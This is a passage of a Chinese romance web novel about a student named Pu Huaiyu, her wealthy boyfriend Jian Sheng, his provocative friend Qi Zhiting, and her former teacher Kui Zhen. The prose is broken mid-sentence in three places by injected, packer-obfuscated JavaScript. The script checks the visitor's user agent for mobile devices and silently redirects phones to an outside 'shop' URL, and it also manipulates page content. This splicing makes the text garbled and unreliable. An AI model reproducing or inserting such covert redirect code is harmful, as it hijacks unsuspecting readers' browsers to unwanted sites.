濮怀玉正冷冷地看着他,想来也不需要他装模作样叫一声弟妹以示热络,即便在这种场合和他相熟对她有益。 戚致廷面色不变,心上却起涟漪:“这不是濮小姐不喜欢我吗?就算我非要自寻烦恼,濮小姐也不痛快。” 还真是手段了得,一句话就能半认真半嗔怪地离间他们两个,先前还真是小看了。 “我没有不喜欢你。” 濮怀玉只是看着他,面对戚致廷后方看好戏玩乐的男男女女,没有丝毫犯怵,“戚先生怎么想我,我就怎么想戚先生。” 戚致廷哈哈一笑:“那濮小姐就是很喜欢的意思喽?” “你要这么想,我也没办法。” “戚致廷!你在跟我女朋友打情骂俏?”简晟面色不愉,“你的女伴就在那里,我劝你还是专一一点吧。就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16561718|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今晚你非得三心二意,也别到小玉身上。” 他在圈子内性格是出了名的好,私生活更是白纸一张,如今为了女朋友强硬起来,甚至跟最好的朋友起冲突,在场其他人看在眼里,心思各异。 戚致廷收起唇角的些许幅度:“Jacob,你也是太看轻我了。” 尤其眼眸一抬,濮怀玉既不落座,也不开口,站在原地冷冰冰地看着,就这样沉住气看他们闹矛盾,戚致廷更是忍不住想:这女人绝不是善茬。 濮怀玉可没兴趣扮演贤能,是戚致廷先没有边界感,她难道负责还要打圆场么。 而且,不过是一时的矛盾而已。她有理由相信,这两个人总有一个因为各种原因率先熬不过去,今晚就要求和。 事实证明,最开始后悔的是简晟。他跟戚致廷可是从小一起长到大的朋友,戚致廷再怎么嘴里没个数,心里总是有数的。自己当众驳了他的面子已经够有威慑力,任由其继续发展下去就有点过分了。 对濮怀玉来说,谁先低头不重要,她不想多给这种美名其曰“建立在两家交情基础上”的情谊一个眼神,跟前来试探的人玩起你问我答来。 “你也是燕大的吗?” “对。”濮怀玉惜字如金,“进学校的方式比较大众化,跟Jacob不太一样。” Jacob跟母亲一个国籍,想要在燕大念书并不需要像濮怀玉一样考到全省前几名。而眼前这些人真正关心的,也跟能考多少名一点关系都没有。 “那你就是优等生了,好羡慕啊。你这样的女生,在大院里面肯定是别人家的孩子吧?不像我,Mommy经常说我只会吃喝玩乐。” “而且你真的好有气质!特别适合YSL。其实能了解自己的特质和真正适合什么,也是一种魅力哦。” 濮怀玉轻而易举攫取他们的言下之意,一一精确回答:“我不住在大院里,从小地方考过来而已。至于这身YSL,都是Jacob送的,我自己买不起这么贵的衣服。” 说起来,每次跟简晟见面前穿上这些衣服,濮怀玉都觉得像cosplay。而跟她关系一般的室友路过时,总忍不住说一句“你都不能用自己本来的面目跟你男朋友见面,何必”。 其实也只是衣服而已,让人陌生的不是具有象征意义的奢侈品牌,而是这一符号背后的含义。 两个富家千金面面相觑,濮怀玉接着说:“不管你们把我放到什么位置上,在你们的标准里我的确非常普通,不跟Jacob恋爱,说不定一辈子都不会跟你们有交集。” 在他们这群人的评判标准里,她何止是普通,简直跟低贱没什么两眼。 濮怀玉无所谓他们的标准,此刻无非是说点符合两人认知的话,让她们少动点脑筋——想办法试探人是否值得结交。 跟人联络感情真的很耗费脑细胞,不同世界的人,没必要争夺自己所认为的是非。 “……那你也很厉害呀!能凭考试进燕大,你肯定是当地的翘楚。人中龙凤啊!” “这只能说明你跟Jacob都很有品味,你穿的很有品味,Jacob的眼光很有品味。” 她们沉默片刻,开始纷纷僵硬地夸赞起濮怀玉,这反而让她有些不快。 这只能说明两点:简晟在这里地位超然,以及简晟对她的看重让人不得不忌惮。没有一点是关于她自己,所有的赞誉都是仰人鼻息。 终究是夸赞。濮怀玉垂眸:“谢谢你们。” 近看时,这张脸的神情姿态并不冷漠,甚至有些蛊惑意味。 好像并不需要克服根深蒂固的不屑和傲慢,也能夸赞得出来。 “你是什么专业?想实习的话,可以到我哥哥的公司里哦。我们家是做实业的。” “我爸爸的公司跟传媒有关。” 濮怀玉:“真的很感谢。……你们的兄长和父亲都很厉害,作为妹妹和女儿,你们未来应该会比他们更出色。所以等到那一天,我再来麻烦你们吧。” 这种话还是第一次听。从前遇见的人,都是求着她们作为哥哥的好妹妹或者爸爸的小公主开金口求一求,为此冲她们下跪都使得,倒也让习惯玩乐的女孩们产生些许居高临下的喜悦。 只有濮怀玉平静地坐着,说着“现在还没有到时候”,两个人一时间皆有些愣神。 于是,等简晟好不容易跟戚致廷说开,终于能顾得上照拂可能被孤立的濮怀玉,她正在女生间玩纸牌游戏,然后在“五连胜”的惊呼声中冲对手轻一歪头,像是挑衅。 通过她的吃得开,戚致廷再次确定了一个事实:濮怀玉此人,深不可测。 30. 030 提起要玩纸牌游戏的,是戚致廷的女伴。濮怀玉从她人口中了解到她平时被戚致廷称为Grace,现在的职业是空姐,曾经做过一段时间的模特。 或许是为了展现跟戚致廷一条心,或许是看她不爽,又或许仅仅是为了玩一个自己擅长的游戏,她主动向濮怀玉介绍游戏规则,要做她的对手。 结果便是连输五局,只能苦笑:“真不愧是燕京大学的高材生。” “Grace可是玩纸牌的高手,就没在我们这群人里输过……究竟怎么做到的?” “Jacob,你肯定清楚,你来说。濮小姐是不是瞒了我们,其实本来就会玩牌?” Grace也被渐渐挑起奇怪的心绪,刚想附和一句,好尽快调查出“真相”,结果戚致廷大步流星走来,弯腰揽住她的肩膀:“可以了,我的胜利女神,偶尔几次失败没什么,抹不去你的美名。” 濮怀玉冷眼看他表演。无论是眯起眼睛的弧度,还是微抬额头时眼中流溢的好整以暇,都昭示他跟简晟已经达成让他满意的平衡。 “小玉,到旁边歇歇吧,还有人要玩。也给他们点机会,别一直占着位置。” 得亏濮怀玉没有父母养育,不是听着这句和稀泥要人谦让的话长大,否则她恐怕时时有异议,事事不开心,再也没有好孩子的盛名。 定定神,无论是戚致廷拿好话哄人,还是简晟让她及时收手,这两个男人都太把自己当回事了。 “等我把牌切了好吗?Jacob乖。” “不能再被拿捏”——这句来自戚致廷的告诫仍然回荡在心上,他们这个圈子里面被外来女人拿捏的男人都是什么样的下场,在戚致廷的强调下,简晟不能不清楚。 但他确实难以抵挡,才几分钟就破功,只能站在濮怀玉旁看她行云流水般玩弄纸牌,就像一个娴熟的手风琴手。 不过,戚致廷刚才教了不少,他还是能做点什么挽回颜面的。于是,简晟清了清嗓子:“小玉,你是在赌场兼过职吗?我都不知道你的手法能这么漂亮。” 濮怀玉抬眸,视线冷凌凌,似乎顾忌到有这么多所谓的圈内人在场,方才抑制住了扇出一个大巴掌的劲儿。 Grace本是被戚致廷从肩膀到腰揽到沙发上去,也做了一回让人伺候的女王,此时不免转过头:“不能吧简少,濮小姐来燕京都是坐的火车,飞机都没碰过,怎么会有闲心跑到澳城去呢。” 连飞机都不坐的人,会有办理港澳通行证四处走的心吗。 多么合理的质疑,戚致廷却忽然猛掐一把她的脸颊,就像在玩一块死肉,而不是真正的人,Grace吃痛的同时却知道不能再说了。 这位戚少,不喜欢别人给濮小姐说话。 “Jacob,看来你不够了解濮小姐啊。濮小姐这一套花式是刚刚渐渐上手的,站得靠后看不清楚牌局的,质疑一两句就算了——” 离濮怀玉最近的大小姐半开玩笑,“你可是无论如何都站在离濮小姐最近地方的人,这点事你都不清楚?” “呵。……切好了。” 濮怀玉将洗好的牌放在桌上,起身后随口一问,“你们谁要来玩?我结束了。” “不要啊,再玩几局呗。” “来个一万块的!” 她摇头,施施然整理衣服褶皱:“这样就真的应了简少的意,成了澳城人了。而且我从来不参与赌博,你们玩吧。” 如此姿态,是真的生气了。 濮怀玉生气,简晟很难不犯怵。他刚准备搜刮话术给自己找补两句,哪怕戚致廷就在旁边看他犯孬劲儿也罢,可濮怀玉只是冷淡地经过他,然后站在捂住脸垂头的Grace面前,缓缓下蹲:“我去跟服务员拿膏药,给你擦一擦吧。你是空姐,有职业需求,要靠脸吃饭的。” Grace刚想道谢,却想起戚致廷方才突然得了疯病拧她的脸,一时间又不敢说话了。 戚致廷就这样搂着她坐在一旁,眼神紧紧锁定姿态自下而上、满眼都是关切的濮怀玉。他好兄弟的女朋友确实有手段,一点都不傲的时候让人看着实在心痒痒。 “她自己不小心碰的,你就别操心了,自己找点事做——” 濮怀玉站起身,在戚致廷玩味的目光里精准踩住他的脚背,脚跟在上面毫不犹豫地碾了又碾。 于是,玩味到暧昧的视线骤然变成涨红的疼痛,戚致廷闷哼一声,连忙作出让她住手的手势,濮怀玉却在慢条斯理替女人回敬的过程中轻蔑地俯视他的一颦一笑,牢牢地维持恐怖的力道,就像随意踩着一滩烂浆果。 从小到大,每个敢冒犯濮怀玉、冒犯她身边女性的男人,到头来都会露出这种上不得台面的可笑表情。 Grace作势着急地搂住戚致廷的脖颈,对他的脸胡乱哈气,再用手去探濮怀玉的脚,连鞋面都没碰到,总之就是很忙,但不知道在忙些什么,最后还得仰赖濮怀玉松开脚。 态度很好,内容为零,却比不远处傻愣着不帮忙的兄弟要好上不少。 “……濮怀玉!” 她已经走到包厢门口,手抚在门把手上,眼神镇定到传出惊悚感——如果那不是把手,而是一把砍刀,戚致廷怀疑自己会成为cult片里第一个去世的作死鬼。 “我也会拿上你的那一份的,戚少。” 戚致廷喘着粗气看她走,一时间有些怀疑自己的脚被踩烂了。等濮怀玉完全离开视线,她才把Grace一推,手指向姗姗来迟的简晟: “你找的女朋友……!”他从记事起就没有这么痛过! 简晟坐在沙发边上劝告:“小玉她下手很有分寸感的。我被她打过脸,都没怎么肿,就是当时有点疼,她给我吹过就好了,你这个肯定也没事。” 戚致廷气笑了,声音都忍不住大起来,让牌桌那边装作沉迷于牌局没看到的少爷小姐们都忍不住多看两眼:“你是孬种,我可不是。爷们儿要脸!” 被人含沙射影说不要脸,简晟的表情也淡了很多。“谁要你这么折腾别人,小玉最见不得欺负人的行为。她从来不打非正义的仗。” “……濮怀玉刚刚就该狠狠扇你一巴掌!” 正欲再说,濮怀玉拿着新鲜药膏回来了,戚致廷下意识住嘴。她站在沙发边上,一支扔给简晟,冷言冷语说“你的兄弟受伤你负责”,一支拧开来,就要亲自给悄悄坐到沙发最边缘的Grace抹脸。 “啪”的一声,戚致廷握住她的手腕,咬牙切齿:“……你踩伤了我的右脚。” 濮怀玉直接甩开,力道大得让戚致廷以为眼前的女人是大猩猩转世,近在咫尺的劲风让他很没出息的朝后靠去。 “不想让我再踩伤你的左脚就老实点。” 这么横的女人,戚致廷平生第一次见。简晟还在旁边打圆场,说什么“大家都是朋友”“没事我来抹”,根本不顾他的自尊,只能频频对她冷哼。 濮怀玉没有反应,Grace听着却心惊肉跳。她感激这位濮小姐不错,却也害怕火烧到自己身上,此刻有了几分濮怀玉还是学生的实感。 心气高,受不了搓磨,忍不下去。 可她指腹传来的温柔力道,却像阔别许久的母亲的手那样温柔。 “……濮小姐,我没关系的,大家还是和和气气的比较好。戚少人很好的,你跟戚少道个歉,这事可能就过去了。” 濮怀玉看了眼坐在沙发另一边的男人。他比简晟大两岁,观念也更成形。平心而论,简晟会陪她闹,戚致廷不会,要处理她很简单。 她移回视线:“Grace小姐,戚致廷真要对我做什么,那就做吧。无论如何,你都是安全的。” “就算他动动手指就能让我求生不得,求死不能,但我忍耐不了。” 那边两个人的对话零星传进这边两个人的耳朵里。戚致廷不想抹药,简晟便坐在一旁轻声说道:“你跟小玉计较什么呢。而且有些事不会因为你的身份,错的就变成对的了。” 戚致廷嗤之以鼻:“简晟,你什么时候是讲道理的人了?你要是讲道理,搞这一套,我们能玩到一起去?” 可简晟这次确实硬气了一回:“反正你不能做对小玉不好的事,是你有错在先,之前就针对她。” “我针对她?简晟,你别忘了,你要是真是个爷们,就不会附和我,还巴巴儿地过来要跟我和好。” 简晟忽然把攥在手里的药膏扔到地上,把牌桌那边的人也吓了一大跳。 他站起身,面色阴沉:“戚致廷,那是我把你当朋友,你不要给脸不要脸。” 这场景,Grace真没见过,忍不住悄悄附耳过去:“濮小姐,他们在干什么啊?” “在演小时代。不用管。” 濮怀玉给她仔细擦了擦,全程除了膏药接触脸颊时的些许刺痛,她的手法始终保持着轻重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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简晟憋红了脸:“你明明知道我在跟你面前之前从来没有跟别人……跟别人好过。” “不要以为我真的一无所知。” 濮怀玉看着他这张因为羞恼更漂亮的脸,“你带的女伴,你交的异性朋友,还有你家里人给你安排的女性,她们可比我跟一个刚刚换地方生活的前教师见面叙旧有威胁性得多。” “你是让自己戴了这么多年的贞|操锁,我谢谢你保持忠贞之身。但这些人构成了你所有的界限感,构成了你跟女朋友以外的女性相处的方式。”也构成了他在面对贫穷出身的女朋友和同一圈层的女性朋友时,究竟会怎样具有偏向性的和稀泥。 “我从来没有想过把握你在面对其他人的时候,脑海里一闪而过的心猿意马,我也管不了,我把这叫做信任。” 一种不健康的、甚至带点无所谓的信任。 濮怀玉抽出自己的手:“所以我个人的合理社交,跟你也没有关系。” 这一次不再有任何阻碍,她一个人下车,缓缓朝学校走去。 翘了一个下午的课,没有被任何人抓包。一两节课不去,甚至半学期的课都不去,对濮怀玉的学业根本没有任何影响。 即便是在燕大这个聚集精英的地方,她的脑袋也是数一数二的灵光。 “晚上好。”“回来了?” “嗯,回来了。”跟舍友简单打过招呼,濮怀玉瞥一眼空桌位,“齐央今晚不回来吗?” “对,她说要回家。” 简单关心过舍友的去向,濮怀玉进盥洗室冲了个澡。夜晚躺在床上回想,她心道:真无趣。 跟这种人谈恋爱,真没意思。 另一边,隗祯辗转反侧,始终想不明白。 怎么转眼间,濮怀玉就恋爱了呢? 前不久她还是穿着校服,在高中操场练习长跑的孩子呢。然而几月不见,穿上成年人的衣服站在人来人往的街道上,能给予人另一种广义上的瞩目感,那身衣服也很合适。 涩感伸出爪牙,在他的心脏上刮出痕迹。 系统:「你就这么不能接受?」 「……不是不能接受。」隗祯道,「她一直都是个不走寻常路、心地善良的好孩子,现在也是可以恋爱的年纪。……或许对我来说,只是太突然了而已。」 不然,他怎么会觉得青年男女在街边相拥的场景虽然和谐有如电影海报,却生出一种“有人偷孩子”的伤感。 31. 031 简晟将濮怀玉跟隗祯私底下的见面看得那么敏感,那她不得不和隗祯再见面了。 就跟学生时代提前约定好一样,濮怀玉也在微信上事先预约。 【打工皇帝】:叔,你不是说我可以去你单位玩吗,什么时候,什么地方 【打工皇帝】:会害你被开除吗 【打工皇帝】:[严肃脸.jpg] 随后濮怀玉便被点名回答问题,她起身答对,若无其事将电脑屏幕分为两半:一小半随心所欲写点笔记,一大半是聊天界面。 前一个同学边在游戏里当农民边记笔记,斜前方的同学把手机放在电脑键盘上看编程课程。除了想跟老师混个脸熟,跟着一起做实验做项目的同学比较全神贯注,几乎全都在同时干几件事。 【Kui】:方便给我一份你的课程表吗?这样比较好协调时间[微笑] 【Kui】:还有,可以不要直接叫叔吗,感觉一下子比隗叔叔老了二三十岁,我今年也才二十四岁而已[可怜] 【打工皇帝】:收到[咖啡] 都用微笑emoji了,濮怀玉心想,她就让让辛劳的老年人吧,大家都在用力地活着。 把课程表发给隗祯,很快隗祯便给出几个时间段。于是,濮怀玉最终决定这周四下午去找他。实在是周末隗祯整天有空,她整天没空,要打工跟做志愿者,所以这段时间是不可能了。 【Kui】:收到[太阳] 【Kui】:[舒灵心理·定位] 【打工皇帝】:名字很好听[大拇指]不愧是隗叔叔[抱拳] 系统:「你被当成老年人了。」 系统:「亲,宿主听见了吗?您现在被任务对象认为二十四岁就一把年纪了哦。」 隗祯不仅听见了,而且把对系统的回复误发给了濮怀玉。 【Kui】:[听见了听见了两只耳朵都听见了.jpg] 【打工皇帝】:噗 【Kui】:? 所以,“噗”是什么意思? 系统:「噗。」 隗祯:「……」他明白了。他很好笑的意思。 濮怀玉很快移步定位,地方很好找,骑共享单车就能到。 但她很快意识到一点,隗祯的工作地点就在上次她跟简晟碰面的地方对面。而自上次闹了不愉快直到今天,濮怀玉跟简晟已经将近一周没说一句话了。 简晟倒是说了,发了两条消息求和,还给她打过一次电话,濮怀玉全都拒绝接受,后来就没了消息。 没办法,简晟面对很多人都是没骨头的样,比如戚致廷。濮怀玉不觉得自己跟这位戚少一样,能因为两个家族的盘根错节闹了又好,好了又闹,她没有这层限制。 不知道连续的失败会不会让他再次求助于戚少爷呢。濮怀玉心觉好笑,简晟毕竟也才满十八岁不久,他的生日在全力以赴的盛夏,甚至比她还要小两个多月,又是小儿子,处理有些事难免蠢笨,比如跟她这个没有皇位要继承的平民的事。 但濮怀玉不想包容,既然简晟要跟她玩服从性测试,那她从看穿招式的那一刻就知道,要低头的只能是自恃身份的简少爷,最坏的结果不过是闹掰而已。 吃完午饭,濮怀玉午睡了一会儿,醒来在窸窸窣窣声中换衣服。 林从露在床下面自习,听到声音抬头:“濮怀玉,少爷是不是跟你闹啦?” “在闹呢。” “这也太不识大体了。”林从露半开玩笑说了一句,“不过也挺好的,你有更多时间呆在宿舍,我终于记得你这张脸了。” 濮怀玉在水池边洗了把脸,远远道:“所以你有什么想法?” “帅!” 她粗糙地擦两下脸,回头时带着寒意的水珠顺着下颚的弧线滴落,配上微微的笑,“那你很有眼光。” 披外套穿鞋的时候,濮怀玉简单交代了一下自己的去向:“我今天会在外面吃晚饭,可能回来得比较迟。” 林从露灵光乍现:“难道是跟小三?” 濮怀玉穿鞋的动作一顿,抬起头:“我不是那么不专一的人。是跟以前的朋友见面。” 两个人的关系亲近却又不够亲近,因此林从露知晓失言后慌忙道歉,说自己只是开个玩笑,让她不要往心里去。 “我马上就忘了。回来给你带小饼干。” 林从露很快轻松起来:“破费了破费了。” 不过濮怀玉即将要见的,确实比简晟这位正牌男朋友好看。由此可见,样貌好的男人也不是跟鬼一样难找,她到今天一共碰到了两个,一个是前心理老师,一个是脑子不那么好使却确实美丽的男朋友。 所以比起怀揣“错过这个就没有”的心理攥住一个不松手,濮怀玉只会觉得“这不是很多吗”? 她的人生从来不缺漂亮的风景,如今也不缺男人的风情。只消看看简晟怎么出招,后续能求饶到什么程度,自己能原谅到什么程度,倒像一场以自己为样本的恋爱实验了。 恋爱,讲的是趣味。现在处于尚且能够体味到趣味的阶段,所以没有彻底闹翻。 非要说的话,Jacob确实有几分可爱,但家世造就的劣根性太过凸显时,濮怀玉就想弃置一旁,过点温柔到庸俗的平常生活。 路边扫了辆共享单车,连导航都不需要,一路骑行出门汇入人流车流,最终抵达熟悉的繁华街道。 停好车刚抬头,隗祯就在对面,等她渡过斑马线笑道:“我怕你找不到地方。”虽然他头顶就是“舒灵心理”的字标。 走进电梯,电梯里恰好只有两个人,隗祯便提起一整天的安排:“我今天上午接待了两个客人,下午空闲下来,刚好能招待你。” “那我不是破坏了你的半天假期吗。”濮怀玉从大门走进来以后便不着痕迹打量四周,“一天就接待两个人,够吃饭?” “够吃,不会饿死的。” 窗明几净的写字楼四层,分布着很多间心理咨询室。反倒是工位上鲜少能看到人。 “今天本来也要整理案例。”他说,“我们有专门的接待室和休息室,偶尔也有同事带孩子来写作业,老板对这类事很宽容。” 濮怀玉:“那老板应该没见过带这么大的孩子过来的。” 她在门口的沙发上坐下,眼睛到处看,最终落在隗祯递来的浅咖色长方形点心盒上,隐约能嗅到甜甜的香气。 “这边最近新开了一家甜品店,人气很高,里面的可露丽特别受欢迎。之前吃过吗?” “吃过别的店里的。” 食指挑开盒子的一瞬间,濮怀玉的第一反应是低下头动动鼻子,然后拍照记录,拍照前用随盒附赠的叉子拨一拨、动一动,让小家伙正过来。 真的很像收起利爪的犬科动物,实在很难生出冷漠的印象来。那天中午所见,简直就像一个过分冰冷的梦。 “那就试试这家新开的店。我买了好几个口味,希望都能对你的胃口。” 他走回自己的工位,先脱外套再转身,长风衣由动转静很飘逸,随后手臂撑在桌边,在落座前先闲适地翻两页,无意间衬出手臂的曲线。 再然后,就是惊动的向日葵的吊坠。濮怀玉尝了第一个,朗姆夹心,目光随花而动,咀嚼的动作慢下来。 后来隗祯开始着手于最新的案例分析,濮怀玉用他的投喂打发时间。各种口味的可露丽被做成很好入口的大小,用料又香又扎实,外壳酥脆到吵闹,得吃得小心点,以免吵到人。 濮怀玉最喜欢经典巧克力味和焦糖榛子馅料的,这两款也是盒子里的“异类”,贴心地各装两枚,其他口味都是一个味道一枚。 她慢慢吃着,略有些放空的视野中,一个中年女人走近,开口便是长袖善舞的气质:“还在忙啊隗老师?怎么也不休息休息。有你坐镇,舒灵才能长久发展——” 不等隗祯回应,舒英棠后退几步,垂下眼眸看沙发上的年轻女孩:“这位美女又是哪个老师的客户?” 濮怀玉抬头:“是隗老师。” 随后她将抹茶口味的可露丽递给眼前的女人。 舒英棠莞尔,气质柔和:“谢谢你的好意,但是阿姨年纪大了,有点小毛病,吃不得。”她转向隗祯,“你也真是,把客人晾在这里。” 借花献佛不成,濮怀玉塞进自己嘴里,滚到左侧的腮帮,在酥脆声中说:“我今天没有咨询需要,只是在这里等隗叔叔忙完。” “那你是……?” “我是他以前的学生,您叫我小濮就行。”濮怀玉微仰起脸,“现在非要形容跟隗叔叔的关系的话——忘年交?” 再次被提及六岁的沟壑,隗祯似能感受到胸口瘀血。他才二十四就得服老了,这可真是个让人悲伤的消息,他方才差一点斩断圆珠笔的笔头。 而舒英棠眼睛轻眯:“那很好。你可以叫我舒阿姨,小濮同学。” 濮怀玉坐直一点:“舒阿姨好。”脸上流露出面对师长时的老实感。这时的她就算没有任何表情,也能给人小狗狗一般真挚又严肃的感觉,反正舒英棠很吃这一套。 “来,小濮。茶水间在那里,要是渴了可以跟隗老师要纸杯接水,热的冷的都有。空会议室门口的电子屏幕上要是没有时间安排,你可以进去自习一会。再等一下下,ok吗?” “ok的。” 目送她往更深处离开,濮怀玉默默走到隗祯的工位旁,对他伸出手,立即要效仿。 隗祯抽出纸杯,放进濮怀玉手心后没有立刻收回,而是就着那点下坠的力道说:“倒热水的时候小心一点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574281|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚开始很容易溅到旁边。手不要扶着杯子,稍微站远一点,好吗?” 濮怀玉点头,一手握着杯子,一手揣着点心盒默默离开。 等隗祯忙完,也到了下午茶的时间了。 “你的同事都在忙。”电梯下行,濮怀玉冷不丁出声,潜台词是“真的能赚到钱吗,燕京生活成本还挺高的”。 隗祯看了眼手机,差不多也要到他预订晚餐的时间了:“所以我不忙,溜出来才不会招人恨。” 他回首,濮怀玉抱着可露丽盒,走出电梯间的同时对他耸了耸肩。 已然立冬,天空很快显现出眩晕的色彩。隗祯比濮怀玉快半步,这是他观察的结果。濮怀玉似乎并不想要走在前面,这个距离很适合她聊些不那么愉快的话题。 “未来可能我会需要来心理咨询。你的价格贵吗?我觉得可能至少得一个小时。” 她要求助,隗祯欢迎还来不及,根本没想过索取报酬。“我不收取你的费用。”他说,“你要是想聊一聊烦恼的话,我们可以在机构以外的空间见面。” 濮怀玉:“不是我,是我最近交的男朋友,我觉得他心理有问题。” 她就是这么有自信,有心理问题的肯定不是她,肯定是简晟问题不小。而且,他连自己的问题都没彻底解决好,就想要在她身上人为地制造问题,这是濮怀玉迟迟不想理睬他的原因之一。 看来是闹矛盾了。 “那我回头发你一份价目表吧,他愿意来,我可以给他打八折。” 濮怀玉:“你不用给他打折。” 隗祯改口得很快:“正好,多出来的费用不如拿来请你吃饭。” 下午茶在一家颇有雅趣的庭院内,在包厢里可以看到被黄昏浸染成暮色的绿地,草坪中央的柿子树几乎已经看不到果实,蔓延的枝叶却像是给傍晚的天空嵌入花边。 “等会儿天黑了,就把门关上,再把窗帘拉起来。老板养了一只猫,晚上喜欢在院子里面跑啊叫的,听起来还有点瘆人。” 濮怀玉看他闲坐在木桌旁给她倒茶,鼻尖似乎萦绕淡淡的草木香:“要是狗就好了。” “猫不好吗?” 言下之意,他是猫派。嗅出隐藏含义,濮怀玉当然不会正面说自己不喜欢猫,只认真陈述个人喜好:“我更喜欢狗。” 系统幸灾乐祸:「安利失败。」 隗祯轻咳一声,好在服务员已经将菜肴端上桌,也算是缓解了他的尴尬。 “我提前预订了一些菜品,对你来说填饱肚子应该更重要,但对我个人来说营养的搭配也很重要……不满足的话,稍后我们还可以再加几道。” 然而转眼间,濮怀玉已经将第一个黑松露和牛汉堡吃掉三分之二。 “你债嗦什么?”她其实听到了隗祯的话,但此刻嘴巴追在前面又吃东西又要说话,难免比本就聪明的脑筋还要灵光,因此吃了一口芦笋挞,里面还能吃出口蘑的颗粒,“窝正债荤素搭配。” 面对此景,隗祯也只有哑然失笑了。 等濮怀玉咀嚼完,依稀出了点汗,便脱了外套寻觅安放的地方。 “给我吧。” 隗祯将她的外套叠的方正,再放进旁边的柜子里,对于濮怀玉的打量笑言道,“这里的柜子就是这样用的。” 垂首叠衣服时手脚温柔的他,转头时面露笑靥的他,就像被浸泡在温暖的水波中,于是垂眸又抬眸,直面又转身,全都变成了荡漾时的波纹。 濮怀玉喝了一口茶,开口:“要是被看到,他肯定又得发作。” 那不是没有被看见吗。对于濮怀玉身上凭空多出的束缚,隗祯本能地感到些许不悦,实在是那天的第一印象很不好。但他还是和蔼道:“你的男朋友是占有欲很强的类型吗?” “我不知道。” 她捏着茶杯,“我们的关系不需要太多的相互了解。”既然简晟没有想过,她又何必迫切地将自己的人生托举到他面前,好像很希望尽快成为谈资似的。 隗祯像是了然:“看来他很有来头,能随意摆布人。” 平心而论,他对濮怀玉的初恋并不满意,很不满意。 只需要一眼,隗祯就知道,那个年轻人是各个或大或小的家族里早晚都会有的后代:拥有得益于母亲的好样貌,内在的才能却连经营一家小公司都不够;被养育得较为单纯,但这种单纯又会随着成长很快消失,取而代之的是富家子弟的派头,和对掌控自己信用卡的人的畏惧与谄媚。 “嗯,但他长得好,性格也可爱。” 比她年轻,长得好看,念的还是心理学。 “我们很有缘分。” 她撑住下颚,眺望渐渐昏沉的庭院,连零星的柿子果也不再闪烁,“……但缘分也很容易随风而逝就是了。” 32. 032 毕竟他们是因为什么走到一起,濮怀玉很清楚。 这很正常,在没有太多精神交流的情况下,要是几个月就能培养出深刻的感情,那才真是见了鬼了。 新菜端上,是一道海味扑鼻的海鲜汤,濮怀玉回过神来询问:“你吃了吗?” “马上,马上。”隗祯连声回答,终于用起桌上的刀叉,不忘关切,“你现在能吃冰吗?这家店的芭菲很有名,就是可惜没赶上先前的柿子芭菲限定。” 濮怀玉不想他太破费,不免思索下次见面应该带什么礼物,如今则指了指放在桌角的可露丽盒,里面还剩下三分之一:“我已经有这个了。” 她可以下次自己来吃,或者跟朋友一起。总之不能因为隗祯是有薪水的成年人,就总仰仗他那一点工资。 悄悄在手机上翻开界面,再结合进门前一瞥的店名,加载出来的结果还真不是什么平价餐馆——这些菜一点都不便宜,濮怀玉被笑过“钝感”的舌头也能隐约感受得到。 “下次我来定地方吧。” “好。你比我早来,应该比我清楚。” 可电话打来,打断隗祯要从餐厅切入的下一个话题。跟室友关系怎样?有没有经常一起出门聚聚餐?从一顿饭可以延伸到人情,隗祯想要知道更细节的事。从前他能用眼睛看、用耳朵听,现在只能从濮怀玉口中得知。 他看着濮怀玉对亮起的手机屏幕蹙眉,体贴道:“如果是男朋友查岗,你可以接的。” 年轻人的恋爱不就是这样,时时确定两颗心依旧紧靠在一起。可惜他已经老了,信奉的不是患有焦虑症一般的反复确定,而是细水长流的可持续发展。 但,电话那头等着的的确不是简晟。 “可不是男朋友。”濮怀玉捏住下颚上的一点软肉,看着此刻闪烁着的来电人名称,这位平常无事也是不想跟她沾上关系的主,不暗讽两句就不错了,“是他的朋友。” 她还是接通了,刚开始就不耐烦:“喂?” “濮小姐,别来无恙啊。Jacob这么久没找你,有没有觉得寂寞啊?” 包厢内很安静,特别是刚才天黑,隗祯亲自关上了门、拉上了窗帘,更加寂静。即便因此不开免提,也听得见是个轻佻的男声。 这又是谁?隗祯跟着女孩一同皱眉。 不仅她不喜欢,他也很不喜欢。 看不出教养二字有任何逗留的痕迹,家里人是怎么教的,这种程度就能放出来轻浮语气了吗? “你的脚这么快就好了?”濮怀玉在电话里冷若冰霜,“还有,Jacob主动联系我了,我没有回复而已。” 她念英语的腔调很轻巧,有种既不费力、又很亲近的感觉。隗祯情不自禁去注意她的口型,就像为了讨要一点友好值不得不去关注一样。 Ja——cob。隗祯学习她的重音,在心里默念着。 他的母亲多叫他的英文名,也就是Ethan,以示关心。在这个世界,他习惯自己只是隗祯,但现在有点微妙的怀念。 E——than。 